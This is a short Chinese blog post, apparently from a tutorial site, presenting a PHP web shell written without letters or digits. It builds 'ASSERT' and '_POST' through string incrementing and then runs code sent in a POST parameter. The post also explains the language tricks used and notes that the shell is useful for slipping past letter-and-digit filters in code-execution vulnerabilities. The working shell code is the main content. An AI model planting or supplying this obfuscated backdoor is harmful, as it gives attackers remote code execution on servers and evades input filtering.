美文网首页
php无数字字母shell

php无数字字母shell

作者: 身自在 | 来源:发表于2018-10-14 18:16 被阅读8次
    一 利用php的自增
    <?php
    $_=[];
    $_="$_";
    $_=$_["!"=="@"]; //$_="A";
    $__=$_; //$__="A";
    $_++;$_++;$_++;$_++;
    $____=$_; "E";
    $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
    $________=$_; "O";
    $_++;
    $_______=$_; "P";
    $_++;$_++;
    $_____=$_; "R";
    $_++;
    $___=$_; "S";
    $_++;
    $______=$_; "T";
    $_=$__.$___.$___.$____.$_____.$______; //ASSERT
    $__='_'.$_______.$________.$___.$______; //string(5) "_POST"
    $__=$$__;  // array $_POST
    $_($__[_]); //ASSERT($_POST[_]);
    ?>
    
    image.png

    知识点:
    1.php在将数组强制转换为字符串的值为 "ARRAY"


    image.png

    2.php的自增


    image.png
    3.php中的GET,POST,REQUEST,COOKIE等字符串转全局数组

    有一个注意点就是当shell中使用eval函数时,将字符串作为php代码来运行,必须以分号结尾,所以这里用的assert。

    这种shell不一定免杀,但是在某些情况下却可以起到用武之地,例如某些代码执行的漏洞中过滤了字母数字.

    相关文章

      网友评论

          本文标题:php无数字字母shell

          本文链接:https://www.haomeiwen.com/subject/sfyyaftx.html